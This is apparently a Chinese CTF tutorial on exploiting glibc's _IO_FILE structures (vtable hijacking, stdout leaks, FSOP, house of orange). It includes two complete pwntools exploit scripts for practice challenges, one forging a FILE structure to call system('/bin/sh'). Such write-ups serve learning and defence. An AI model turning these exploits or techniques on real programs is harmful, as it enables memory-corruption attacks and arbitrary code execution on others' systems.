_IO_FLIE

利用环境

介绍的函数都是glibc-2.23及以下适用,后面的内容才会介绍高版本的利用,但是也是在这个基础上对新检查的对抗与绕过

_IO_FILE

主要函数功能介绍

FILE *fopen(const char *filename, const char *mode)

使用给定的模式 mode 打开 filename 所指向的文件,返回一个文件指针fp,fp指向存储在堆上的FILE结构体。如果打开失败则返回NULL

size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)

从给定流 stream 读取数据到 ptr 所指向的数组中,返回成功读取的对象个数,若出现错误或到达文件末尾,则可能小于count

size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream)

ptr 所指向的数组中的数据写入到给定流 stream 中,返回实际写入的数据块数目

int fclose(FILE *stream)

关闭文件流,并且释放相应文件指针指向的缓冲区(堆块)

主要结构体介绍

当使用fopen打开一个文件,会在堆上分配一块内存用来存储_IO_FILE_plus结构体,FILE结构体有两个成员_IO_FILE以及_IO_jump_t,这两个成员也是结构体。如下源码:

1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
_IO_jump_t *vtable;
}

_IO_FILE存储着一些文件相关的指针信息,该结构体的大小:64位下的长度为0xd8; 32位下的长度为0x94(以下涉及的都是64位)。源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
struct _IO_FILE {
long int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

在 _IO_FILE 中的各变量的偏移:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
0x0   _flags
0x8 _IO_read_ptr
0x10 _IO_read_end
0x18 _IO_read_base
0x20 _IO_write_base
0x28 _IO_write_ptr
0x30 _IO_write_end
0x38 _IO_buf_base
0x40 _IO_buf_end
0x48 _IO_save_base
0x50 _IO_backup_base
0x58 _IO_save_end
0x60 _markers
0x68 _chain
0x70 _fileno
0x74 _flags2
0x78 _old_offset
0x80 _cur_column
0x82 _vtable_offset
0x83 _shortbuf
0x88 _lock
0x90 _offset
0x98 _codecvt
0xa0 _wide_data
0xa8 _freeres_list
0xb0 _freeres_buf
0xb8 __pad5
0xc0 _mode
0xc4 _unused2
0xd8 vtable

image-20211122203241140

在glibc-2.23版本中有个全局变量_IO_list_all,该变量指向了FILE链表的头部。在没有创建其它文件结构时,_IO_list_all指向stderr,然后依次是stdout和stdin。这里使用p/x *(struct _IO_FILE_plus*) _IO_list_all可以详细的打印其内存数据信息。其中_fileno的值就是文件描述符,_chain字段指向下一个链表节点

所有的文件都共享一个虚函数表,_IO_jump_t *vtable则指向这个虚函数表(保存各种操作函数的指针),源码如下:JUMP_FIELD 是一个接收两个参数的宏,前一个参数为类型名,后一个为变量名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#define JUMP_FIELD(TYPE, NAME) TYPE NAME
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};

在gdb中查看,会对存储的函数指针更加详细的名称

image-20211122204732406

利用手法

一、利用_fileno

因为_fileno的值就是文件描述符,有时 flag 文件已经被程序打开,创建了相应的文件描述符。如果我们将这个文件描述符的值填入到stdin_fileno处,那么当使用到如scanf、gets、fscanf函数会调用到stdin,获取的到的字符就就会是flag的内容。

例题ciscn_2019_final_2

image-20211128191339962

常规checksec,64位,保护全开

image-20211128191623857

程序开了沙箱,禁用了execve系统执行函数

image-20211128191723423

程序在初始化时,打开了flag文件,并且把文件描述符转为了666

image-20211128191423540

释放堆块存在UAF

image-20211128191445436

申请堆块只能申请0x10和0x20的堆块

image-20211128211402143

还有个输入函数,执行完会把输入的内容打印出来

所以做法是劫持 stdin 的 fileno 为666从而读取flag内容并且打印出来,因为 scanf 获取的输入是来自于 stdin ,如果把 stdin 的fileno 修改为之前 flag 文件流对应的文件描述符666,即可实现 stdin 从flag里面读取内容,然后程序会把内容打印出来,从而获得flag

这边最有意思的点在于最后要分配到 stdin 上的堆块,由于泄露的地址是不全的,并且我们的任意分配是借助 double free 制造的堆块重叠,是不存在0x7f的头的,所以要申请出一块含有0x7f头的堆块,部分写修改0x7f为 stdin 的地址,然后在double free制造出堆块重叠时,借助第一次申请,把fd指向的堆块地址修改为含有 stdin 的地址的堆块,就能让其也成为tcache链上的一个堆块,从而成功分配出堆块

image-20211128211228537

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./ciscn_final_2")
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#libc = ELF("./libc.so.6")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so")
p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
p = remote("node4.buuoj.cn", 25539)
def debug():
gdb.attach(p,"b main")
#gdb.attach(p,"b *$rebase(0x)")

def add(idx, content):
p.sendlineafter("> ",'1')
p.recvuntil(">")
p.sendline(str(idx))
p.recvuntil("your inode number:")
p.send(str(content))

def edit():
p.sendlineafter("> ",'4')
p.recvuntil("what do you want to say at last?\n")
p.send(content)

def show(idx):
p.sendlineafter("> ",'3')
p.recvuntil(">")
p.sendline(str(idx))

def free(idx):
p.sendlineafter("> ",'2')
p.recvuntil(" ")
p.sendline(str(idx))

add(1, 0x20)
free(1)
add(2, 0x20)
free(1)
show(1)
p.recvuntil("your int type inode number :")
heap_base = int(p.recv(10)) - 0x250
log.info("heap_base==>0x%x" %heap_base)
add(1, heap_base)
add(1, 0x20)
add(1, 0x20)
for i in range(7):
free(1)
add(2, 0x20)
free(1)
show(1)
p.recvuntil("your int type inode number :")
libc_base = int(p.recv(10)) - 0x3ebca0
log.info("libc_base==>0x%x" %libc_base)
fileno = libc_base + 0x3eba70
add(1, 0x0202)
add(1, fileno)
free(1)
add(2, fileno)
free(1)
add(1, heap_base + 0x60)
add(1, 666)
add(1, 666)
add(1, 666)
edit()

p.interactive()

二、劫持文件流

fopen函数在分配空间,建立FILE结构体,未调用vtable中的函数。执行流程如下:

  1. malloc分配内存空间。
  2. _IO_no_init 对FILE结构体进行null初始化。
  3. _IO_file_init将结构体链接进_IO_list_all链表。
  4. _IO_file_fopen执行系统调用打开文件。

fread函数中调用的vtable函数有:

  • _IO_sgetn函数调用了vtable的_IO_file_xsgetn
  • _IO_doallocbuf函数调用了vtable的_IO_file_doallocate以初始化输入缓冲区。
  • vtable中的_IO_file_doallocate调用了vtable中的__GI__IO_file_stat以获取文件信息。
  • __underflow函数调用了vtable中的_IO_new_file_underflow实现文件数据读取到缓冲区。
  • vtable中的_IO_new_file_underflow调用了vtable__GI__IO_file_read最终去执行系统调用read。

fwrite 函数调用的vtable函数有:

  • _IO_fwrite函数调用了vtable的_IO_new_file_xsputn
  • _IO_new_file_xsputn函数调用了vtable中的_IO_new_file_overflow实现缓冲区的建立以及刷新缓冲区。
  • vtable中的_IO_new_file_overflow函数调用了vtable的_IO_file_doallocate以初始化输入缓冲区。
  • vtable中的_IO_file_doallocate调用了vtable中的__GI__IO_file_stat以获取文件信息。
  • new_do_write中的_IO_SYSWRITE调用了vtable_IO_new_file_write最终去执行系统调用write。

fclose 函数调用的vtable函数有:

  • 在清空缓冲区的_IO_do_write函数中会调用vtable中的函数。
  • 关闭文件描述符_IO_SYSCLOSE函数为vtable中的__close函数。
  • _IO_FINISH函数为vtable中的__finish函数。
  • printf/puts 最终会调用_IO_file_xsputn
  • fclose 最终会调用_IO_FILE_FINISH
  • fwrite最终会调用_IO_file_xsputn
  • fread 最终会调用_IO_file_xsgetn
  • scanf/gets最终会调用_IO_file_xsgetn

方式一、劫持vtable

image-20211111215424904

在调用 fclose 关闭一个文件时,最终会调用到 vtable 中存储的函数指针。如果我们能够将 vtable 中的指针替换为我们自己想要跳转到的地址就可以劫持程序流程。

覆盖 vtable 指针指向可控内存,将 __finish(off=2*SIZE_T) 构造为要执行的地址。然后调用 fclose

2.23及以前可用,后面的版本会检查 vtable 的合法性。

方式二、伪造vtable

image-20211111215424904

当无法直接修改 vtable 指针时,却可以修改返回的文件指针 fp。这时候就要伪造整个 FILE 结构体通过检查,再在伪造的 FILE 结构里面修改 vtable 指针以及 __finish(off=2*SIZE_T)。将文件指针指向这个伪造的 FILE 结构体,最后调用 fclose

三、利用stdout泄露libc

1
2
3
4
5
6
7
8
9
10
11
struct _IO_FILE {
int _flags; // 文件标志,简单的说:像puts一类的输入输出函数要想正确的打印信息就需要正确设置该字段
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
......
......
}

这个利用方法较为常见,一般在没有打印函数时,用于泄露libc。将堆块分配到stdout指针处存储的_IO_2_1_stdout_该IO_FILE结构体处,修改其_flags为合法的数值,将后面三个 read 指针置空,将_IO_write_base处的第一个字节改小,后面的_IO_write_ptr_IO_write_end保持不变。之后当程序遇到puts函数时就会打印_IO_write_base_IO_write_ptr之间的内容

1
2
payload = p64(0xfbad1800) + p64(0)*3 + '\x00'
libc_base = libc - libc.sym["_IO_file_jumps"]

这样泄露出来的第一个地址将会是_IO_file_jumps

1
2
payload = p64(0xfbad3887) + p64(0)*3 + '\x00'
libc_base = libc - libc.sym["_IO_2_1_stdin_"]

这样泄露出来的第一个地址将会是_IO_2_1_stdin_

四、任意读写

伪造缓冲区指针,在一定的条件下可以完成任意地址的读写

  • stdin标准输入缓冲区进行任意地址写。
  • stdout标准输出缓冲区进行任意地址读写.

stdin 标准输入缓冲区进行任意地址写

fread执行流程:

  1. 判断fp->_IO_buf_base缓冲区是否为空,如果为空则调用的_IO_doallocbuf去初始化缓冲区。
  2. 在分配完缓冲区或缓冲区不为空的情况下,判断输入缓冲区是否存在数据。
  3. 如果输入缓冲区有数据则直接拷贝至用户缓冲区,如果没有或不够则调用__underflow函数执行系统调用读取数据到输入缓冲区,再拷贝到用户缓冲区。

image-20220320095647747

如果我们能控制缓冲区指针,使得缓冲区指向想要写的地址,那么在第三步执行系统调用读取数据到缓冲区的时候,就是执行系统调用读取数据到我们想要写的地址,从而实现任意地址写的目的。

具体需要满足的条件,还需要对源码进行深入的分析。

fread关键源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
...
if (fp->_IO_buf_base == NULL)
{
...
//缓冲区为空则调用_IO_doallocbuf初始化缓冲区
}

while (want > 0)
{

have = fp->_IO_read_end - fp->_IO_read_ptr;

if (have > 0)
{
...
//memcpy

}

if (fp->_IO_buf_base
&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
{
if (__underflow (fp) == EOF) //调用__underflow读入数据
...
}
...
return n - want;
}

_IO_file_xsgetn函数会先判断输入缓冲区_IO_buf_base是否为空,如果为空的话则调用_IO_doallocbuf初始化缓冲区,因此需要构造_IO_buf_base不为空。

接着当输入缓冲区有剩余时即_IO_read_end -_IO_read_ptr >0,会将缓冲区中的数据拷贝至目标中,因此想要利用输入缓冲区实现读写,_IO_read_end -_IO_read_ptr =0_IO_read_end ==_IO_read_ptr

同时还要求读入的数据size要小于缓冲区数据的大小,调用__underflow去读取数据,否则为提高效率会调用read直接读。

__underflow 源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int
_IO_new_file_underflow (_IO_FILE *fp)
{
_IO_ssize_t count;
...
## 如果存在_IO_NO_READS标志,则直接返回
if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
## 如果输入缓冲区里存在数据,则直接返回
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
...

##调用_IO_SYSREAD函数最终执行系统调用读取数据
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
...

}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)

_IO_new_file_underflow中函数会检查_flags是否包含_IO_NO_READS标志,包含则直接返回。标志定义#define _IO_NO_READS 4,因此_flags不能包含4

接着判断fp->_IO_read_ptr < fp->_IO_read_end是否成立,成立则直接返回,因此再次要求伪造的结构体_IO_read_end ==_IO_read_ptr,绕过该条件检查。

最终系统调用_IO_SYSREAD (fp, fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base)读取数据。因此要想利用stdin输入缓冲区,需设置FILE结构体中_IO_buf_base为想要写入数据的起始地址,_IO_buf_end为结束地址。同时也需将结构体中的fp->_fileno设置为0,最终调用read (fp->_fileno, buf, size))读取数据。

将上述条件综合表述为:

  1. 设置_IO_read_end等于_IO_read_ptr
  2. 设置_flag &~ _IO_NO_READS_flag &~ 0x4
  3. 设置_fileno为0。
  4. 设置_IO_buf_base为起始地址,_IO_buf_end为结束地址;且使得_IO_buf_end-_IO_buf_base大于要读的数据。

似乎不一定要是 stdin,拓展到某个 fp 指针,能够劫持该 fp 对应IO_FILE结构体,进行上述设置,也是一样的任意写,但是细想似乎会存在一些问题,具体能不能实现,还是需要实践,希望之后有空实践一下,回来填补。

stdout 标准输入缓冲区进行任意地址读写

stdout会将数据拷贝至输出缓冲区,并将输出缓冲区中的数据输出出来,所以如果可控stdout结构体,通过构造可实现利用其进行任意地址读以及任意地址写,比控制stdin更强大。

任意写

先看下 fwrite 源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14

_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
...
## 判断输出缓冲区还有多少空间
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */

## 如果输出缓冲区有空间,则先把数据拷贝至输出缓冲区
if (count > 0)
{
...
memcpy (f->_IO_write_ptr, s, count);

任意写功能的实现在于缓冲区没有满时,会先将要输出的数据复制到缓冲区中,可通过这一点来实现任意地址写的功能。

可以看到,任意写的实现很简单,只需将_IO_write_ptr指向我们要写的位置,_IO_write_end指写入位置的末尾处即可。

  • _IO_write_ptr指向写入位置的起始处
  • _IO_write_end指向写入位置的末尾处

任意读

仍然是查看 fwrite 关键源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{

_IO_size_t count = 0;
...
## 判断输出缓冲区还有多少空间
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */

## 如果输出缓冲区有空间,则先把数据拷贝至输出缓冲区
if (count > 0)
{
...
//memcpy
}
if (to_do + must_flush > 0)
{
if (_IO_OVERFLOW (f, EOF) == EOF)

f->_IO_write_end > f->_IO_write_ptr时才会触发后续操作,所以此为一个条件。

接着看 _IO_OVERFLOW 的关键源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
## 判断标志位是否包含_IO_NO_WRITES
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}

## 判断输出缓冲区是否为空
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
...
}

## 输出输出缓冲区
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
return (unsigned char) ch;
}
libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)

首先判断_flags是否包含_IO_NO_WRITES,如果包含则直接返回,因此需构造_flags不包含_IO_NO_WRITES,其定义为#define _IO_NO_WRITES 8

接着判断缓冲区是否为空以及是否包含_IO_CURRENTLY_PUTTING标志位,应当使得判断为假,因次让_flags包含_IO_CURRENTLY_PUTTING,其定义为#define _IO_CURRENTLY_PUTTING 0x800

接着调用_IO_do_write去输出输出缓冲区,其传入的参数是f->_IO_write_base,大小为f->_IO_write_ptr - f->_IO_write_base。因此若想实现任意地址读,应构造_IO_write_baseread_start,构造_IO_write_ptrread_end

接着查看 _IO_do_write 关键源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
...
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
## 调用函数输出输出缓冲区
count = _IO_SYSWRITE (fp, data, to_do);
...

return count;
}

在调用_IO_SYSWRITE之前还判断了fp->_IO_read_end != fp->_IO_write_base,因此需要构造结构体使得_IO_read_end等于_IO_write_base,或者构造_flags包含_IO_IS_APPENDING_IO_IS_APPENDING的定义为#define _IO_IS_APPENDING 0x1000

最后_IO_SYSWRITE调用write (f->_fileno, data, to_do)输出数据,因此还需构造_fileno为标准输出描述符1。

总结为:

  1. 设置_flag &~ _IO_NO_WRITES_flag &~ 0x8
  2. 设置_flag & _IO_CURRENTLY_PUTTING_flag | 0x800
  3. 设置_fileno为1。
  4. 设置_IO_write_base指向想要泄露的地方;_IO_write_ptr指向泄露结束的地址。
  5. 设置_IO_read_end等于_IO_write_base或设置_flag & _IO_IS_APPENDING_flag | 0x1000
  6. 设置_IO_write_end等于_IO_write_ptr(非必须)。

这个就是前面利用 stdout 泄露 libc 的原理,按照前面说的进行布局,适用性更广。

FSOP

FSOP( File Stream Oriented Programming ),是一种劫持_IO_list_all来伪造文件流对象链表的利用技术,通过调用_IO_flush_all_lockp函数触发。该函数会在下面三种情况下被调用:

  1. libc 检测到内存错误从而执行 abort 流程时
  2. 执行 exit 函数时
  3. main 函数返回时

一般在pwn题中,我们都是构造内存错误(例如double free漏洞可以触发),此时会产生一系列的函数调用路径,最终的调用为:_IO_flush_all_lockp –> _IO_OVERFLOW,而这里的_IO_OVERFLOW就是文件流对象虚表的第四项指向的内容_IO_new_file_overflow,如下图所示

image-20211122204732406

构造方式:首先需要将_IO_list_all_chain指针指向伪造的堆块;然后伪造堆块的内容布局如下:

image-20230110173348667

house of orange

著名手法,在glibc-2.24及以下可以使用,unsorted bin attack 加上 FSOP 的结合。

先介绍一下原理:

如果在分配堆块时, top chunk 不够分配,那么根据申请的大小,会通过sysmalloc 来分配,如果申请的大小小于mmap的阀值(默认为 128K,0x20000),就会扩展top chunk,将old top chunk free掉,如果大于的话,就会通过mmap申请一块新的堆块。所以可以通过把 top chunk size 改小这种方式让 top chunk 进入unsorted bin 中,从而产生 libc 地址。

要求:

  • size需要大于0x20(MINSIZE)
  • prev_inuse位要为1
  • top chunk address + top chunk size 必须是页对齐的(页大小为0x1000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if (av == NULL
|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
&& (mp_.n_mmaps < mp_.n_mmaps_max)))/*这里进行判断,判断分配的大小是否大于mmap分配的阀值,如果大于就是用mmap从新分配一个堆块,否则就会扩展top chunk*/
{
char *mm; /* return value from mmap call*/
try_mmap:

.........
..........
if (old_size != 0)
{
/*
Shrink old_top to insert fenceposts, keeping size a
multiple of MALLOC_ALIGNMENT. We know there is at least
enough space in old_top to do this.
*/
old_size = (old_size - 4 * SIZE_SZ) & ~MALLOC_ALIGN_MASK;
set_head (old_top, old_size | PREV_INUSE);
set_head (chunk_at_offset (old_top, old_size),
(2 * SIZE_SZ) | PREV_INUSE);
set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ),
(2 * SIZE_SZ) | PREV_INUSE);
/* If possible, release the rest. */
if (old_size >= MINSIZE)
{
_int_free (av, old_top, 1);/*将old top chunk free掉,加入unsorted bin*/
}
}

house of orange 利用过程:

利用 unsorted bin attack 将 _IO_list_all 修改为 main_arena+0x58,而IO_list_all 中的 *chain 指针位于 _IO_list_all + 0x68 的位置:即 main_arena + 0x58 + 0x68 是 small bin 中大小为0x60的位置,所以需要将 chunk 的 size 修改为0x60,让该 chunk 链入 small bin 的相应位置上,在其上布置好伪造的 _IO_FILE_plus,那么就形成了一个伪造的 chain 链。伪造这些后,只要再分配一个 chunk,就会触发 malloc_printerr,会遍历IO_llist_all,最终调用 IO_overflow 函数,以下是源码讲解部分:

malloc_printerr:

1
2
3
4
if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize_nomask (victim)
> av->system_mem, 0))
malloc_printerr ("malloc(): memory corruption");

触发 malloc_printerr 后,会形成下列调用链:

1
2
mallloc_printerr-> __libc_message—>abort->flush->_IO_flush_all_lock->_IO_OVERFLOW
而_IO_OVERFLOW最后会调用vtable表中的__overflow 函数

_IO_flush_all_lockp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)/*一些检查,需要绕过*/
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))/*也可以绕过这个*/
)
&& _IO_OVERFLOW (fp, EOF) == EOF)/*遍历_IO_list_all ,选出_IO_FILE作为_IO_OVERFLOW的参数,执行函数*/
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}
#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
return result;
}

所以伪造的 _IO_FILE_plus 要通过下列检查:

1
2
3
4
5
6
7
1.((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)

或者是
2.
_IO_vtable_offset (fp) == 0
&& fp->_mode > 0
&& (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)

例题

来自buu的题目,程序不存在 delete 函数,无法释放堆块,所以要用到前面的修改 top chunk size 的方法,从而得到 libc 地址。

image-20220313210805600

漏洞点在于 edit 函数,对于写入的个数没做严格的限制,可以写入大于申请堆块长度的内容,从而存在堆溢出。

image-20220313210907191

伪造 IO_FILE_plus 后的成果如下:

image-20220313170817299

image-20220313170916290

最终只能在本地getshell

image-20220313173210640

远程一直都是显示 dumped core

image-20220313173230192

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./house_of_orange")
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc-2.23.so")
#libc = ELF("./libc-2.23.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so")
p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
p = remote("node4.buuoj.cn", 26547)
def debug():
gdb.attach(p,"b main")
#gdb.attach(p,"b *$rebase(0x)")

def add(size, content):
p.sendlineafter(": ",'1')
p.recvuntil("Length of name :")
p.sendline(str(size))
p.recvuntil("Name :")
p.send(content)
p.recvuntil("Price of Orange:")
p.send(str(520))
p.recvuntil("Color of Orange:")
p.send(str(3))

def edit(content):
p.sendlineafter(": ",'3')
p.recvuntil("Length of name :")
p.sendline(str(len(content)))
p.recvuntil("Name:")
p.send(content)
p.recvuntil("Price of Orange:")
p.send(str(520))
p.recvuntil("Color of Orange:")
p.send(str(3))

def show():
p.sendlineafter(": ",'2')

add(0x30, 'a')
payload = 'a'*0x38 + p64(0x21) + 'a'*0x18 + p64(0xf81)
edit(payload)
add(0x1000, 'a')

add(0x400, 'a'*0x8)
show()
p.recvuntil("aaaaaaaa")
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x3c5188
log.info("libc_base==>0x%x" %libc_base)
_IO_list_all = libc.symbols['_IO_list_all'] + libc_base
sys = libc_base + libc.sym['system']
edit('a'*0x10)
show()
p.recvuntil("a"*0x10)
heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0xe0
log.info("heap_base==>0x%x" %heap_base)

vtable_addr = heap_base + 0x5e8
stream = "/bin/sh\x00" + p64(0x61)
stream += p64(0) + p64(_IO_list_all-0x10)
stream += p64(1) + p64(2) # fp->_IO_write_ptr > fp->_IO_write_base
stream = stream.ljust(0xc0, "\x00")
stream += p64(0) # mode<=0
stream += p64(0)
stream += p64(0)
stream += p64(vtable_addr)
stream += p64(0)*2
stream += p64(sys)
payload = 'a'*0x400 + p64(0) + p64(0x21) + 'a'*0x10
payload += stream
edit(payload)
p.sendlineafter(": ",'1')

p.interactive()

glibc-2.24~2.27

glibc-2.27以及之后libc版本,调用 exit 函数、正常从 main 返回或者 libc 执行 abort流程,执行_IO_flush_all_lockp来刷新_IO_list_all 链表中所有项的文件流,exit->__run_exit_handlers->_IO_cleanup->_IO_flush_all_lockp->…

对 vtable 指向的地址新增了检查:检查地址是否落在 glibc 中的 vtable 段中,__start___libc_IO_vtables指向第一个vtable地址_IO_helper_jumps,而__stop___libc_IO_vtables指向最后一个。

1
2
3
4
5
6
7
8
9
10
11
12
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length)) //检查vtable指针是否在glibc的vtable段中。
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}

进入到_IO_vtable_check () 比较难绕过其中检查(虽难也是可以实现),所以要让指针落在 vtable 段中。总共有两种办法可以通过检查,进行利用:

  1. 使用内部的vtable_IO_str_jumps_IO_wstr_jumps来进行利用。
  2. 使用缓冲区指针来进行任意内存读写。

_IO_str_jumps 或 _IO_wstr_jumps

vtable数组中存在_IO_str_jumps以及_IO_wstr_jumps两个vtable。这两个vtable较为相似,只是_IO_wstr_jumps是处理wchar的,后者利用方法完全相同,介绍其一即可,以_IO_str_jumps为例。

image-20220317222314932

其中一个可利用函数 _IO_str_finish 源代码如下:

